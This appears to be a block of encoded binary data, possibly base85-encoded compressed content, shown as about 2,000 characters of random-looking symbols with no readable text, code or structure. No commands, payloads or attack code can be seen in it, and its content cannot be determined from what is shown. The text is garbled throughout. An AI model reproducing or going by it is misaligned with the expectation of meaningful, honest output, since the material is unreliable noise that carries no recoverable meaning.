zr>Q);L_&eV&!b6%X2|_dPRMl}y#S+5WsXjbLDuk@7~>_u3*Was!9@I|9xnWGnK29_ z)Q%WlFK^QEO}&)y|M~y^`EUQD)WjF~px~H6^?>~gL}%_nWvZ1*;CBJ=B6|Fm3|?7} zUxb-8iK*21REFQ@@SROeO(&)%5Xu3`vCJLdJ`E0zO(QVD04~O6<`}#)ktEn_W*Xm# z3H)kcj+Z-$sY%qLf_=1#{*0jplz>(nPmblt-^@`i38}^{rT4`YYRtZde6(q@Cy7G# zB%-Nl1Em7yyq!xYCpDDm=2Dp&GIAQ9PEO`>nJ&^qhY)xsIX>-jQI*0G={X{e!2}%U zPT-MQ&h=1%q`dwd!7J^^JkJl{`5o3BV&S9m?Y_+I<7_FEGvAUXLO;S*CFgkzaQbZ35i>hz=t;QZ-HNv$FE{lwG^ zJLy4ePf$KifL8p@oWMYxoz}kzh+hthIyH+{prdkWxg~P5Im8mV%=^eh%-%s~3_8X^ za0U_rHJcD9@WbZ%e$tG?TFp*tEwlwJMTMToX`;)!WApC7ezVS z3qFP^i(nd*;t+ghy3qO zfkjA@!S(Ml{vRgu6Jtb6Ow#vq(;Oo{Gel-T#Q;tN__YFyJ=Q zP!7aRf$7uG$B6p>9V$%IGr+9asEo{G`NBA|DDO4NLnY(LWDG8Tk)E5jX-cH4jfEpHC2(?A6nAxc_Kw zY7U(g&10Yq=^>R|n$vnk;HYb1&5JOH5 z9@04O8UK55MUx;!Iz3}1F%G5ynx04|QXne4vsthPl}w`;IP|mB6z;U=)H)AE*MJgP z|If5XKOh+^* z|DgJxX8ixePCmtc#7Ux`^sVG`GLi(#Fa-JnF*sWf;fEo>`u(55aNz3vD+-kV-;hsy zUY#*hG8(Krr@>_z7~*(w2;@@v1Z*1E3?`=$g`Pwlg1PapAC-7s;Miq|Xy+T1K>xIf75Ys%mMip{6y| zFitW@-_8kKjd0NFK(9M%##J}2g5GTYc>}XXWx1M0ESI!~eHCPena}vY4^4o~X=_1` zRzFIBR!XrAtJd#hQpvc9`u&>-$RdGhr>R4 z+D96S&@_Z;wvU?4K1QHyA0Q4EEg+=;HA~_m|%bGZ@n~+1s<-nacN$Ut#ILL6KPzw;%Y0GwE8&N@eQQ%v=JAg z@N-fEQ^i6L_hmig@Fd4^HGKp7rtxEAtnUK8?;&R%i%O%)eiiNWWCVK?#dK6#Tyok+ z@3?Ts^L|aNUNh~l{v6mgHecTYm9L;}p8L9h(_okIBVcuGSiX($@wA)4wkP?+XK<81 zT%Ye+ob|vT=aX*p@f+9=P

HlHSU7LQG>`D(?;zU7a~PNXdkhV)<`pH;W(llh^<5 zOMmUh-z@%%hfI664}TpMqrezHjr$KKj6aJz=0ZMhkxzm%VzUgm1nzgn2lJV0%y;nZ zzCVUve`icTs2eOZ=6!rQv*t%CkHt>=rVV(^z##AV&s1R zOLH@Z4kC{rZvJ20cO3O6qix0!*74BA;PMy7Xk~&A#{p>1 zD}rBYJS44HTk_sm7o`8}FMVHDHs4rP_TBi2R{RK9#y%X9ek|n~BA}Cw=RsJSOk*BR z3|6Ux{o@H^{_7&lZ>$*AV?IACRHjD4Z}84)jQohGC@G~ad}B!SX$$YbEBot9W5%Pp zv>$K$GD081l$CK^!p0tVV)#4l{B7ek7=m?y{PD#9{0p|uUz?78e$7UhI*838(#B9L zH$2@=*b1Bg9tGp)RjDg{3WFxcnH1*#w)x@2zn4C9d(Iu=8?Nbx0>g7SZ=vq_0{51+-1~s@{F#~h^3d(Tbj3<8ab0WZ*CnebH9l^k0 zpN!AN@L7&LetnuybR_s7E}^*J$9+a_F6)*uuiV+wqpftI;JD$V_>mL33&_2@@Tr^8 z_{~e79PJl@=kOsn);+3k-vOr`eck>cF)0AI=wWkF0a= z(16$2atI_W?pP70%iv9T%pOV_zj{6fxmMb8Z;}0XePfI*j_S)f&{Gc7!nGuiLw>0g lb8nI7&WNefdK5i~(=R{25C!rEzf%j1!(sl*&;NH6_